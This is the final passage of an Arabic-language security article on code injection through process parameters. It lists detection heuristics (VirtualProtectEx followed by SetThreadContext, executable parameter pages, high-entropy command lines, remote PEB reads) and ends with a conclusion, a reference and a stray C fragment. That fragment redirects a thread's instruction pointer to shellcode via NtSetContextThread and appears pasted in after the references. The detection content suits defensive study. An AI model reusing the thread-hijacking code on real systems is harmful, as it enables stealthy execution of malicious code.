- استدعاء `VirtualProtectEx` الذي يجعل منطقة ذاكرة قابلة للتنفيذ متبوعًا باستدعاء `SetThreadContext` مع `CONTEXT_CONTROL` على الأقل. تجدر الإشارة إلى أن مؤشر التعليمات لا يحتاج إلى الإشارة إلى هذه المنطقة القابلة للتنفيذ، إذ يمكنه بدلاً من ذلك الإشارة إلى أداة (gadget) تعيد توجيهه لاحقًا. ومع ذلك، فمن المرجح جدًا أن يُكتب مؤشر إلى منطقة الذاكرة في أحد سجلات وحدة المعالجة المركزية.
- استدعاء `VirtualProtectEx` الذي يجعل صفحات معاملات العملية قابلة للتنفيذ، سواء في العملية نفسها أو في عمليات خارجية.
- إنشاء عملية يكون فيه أحد المعاملات الثلاثة المستغلة مثيرًا للشك. على سبيل المثال، إذا كانت إنتروبيا سطر الأوامر قريبةً من إنتروبيا الشيلكود أو بعيدةً عن إنتروبيا قيمة سطر أوامر عادية. بالإضافة إلى ذلك، قد يكون طول المعامل المُقدَّم مفرطًا أو يحتوي على العديد من الأحرف غير المألوفة. ومع ذلك، فإن الاعتماد على هذا وحده قد يكون عرضةً للنتائج الإيجابية الكاذبة.
- قراءة بنية معاملات العملية لعملية بعيدة يشير إليها PEB.
---
## 8. الخاتمة
باختصار، يمكن للمهاجمين تجاوز الحلول الأمنية الحديثة من خلال أفكار جديدة وتعديلات صغيرة، سواء بتطوير تقنيات جديدة أو بإعادة تطبيق تقنيات قديمة بطرق مبتكرة. لذلك من المهم تطوير قواعد كشف جديدة باستمرار وعدم الاعتماد فقط على حل قائم.
---
## 9. المراجع
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }
return 0; }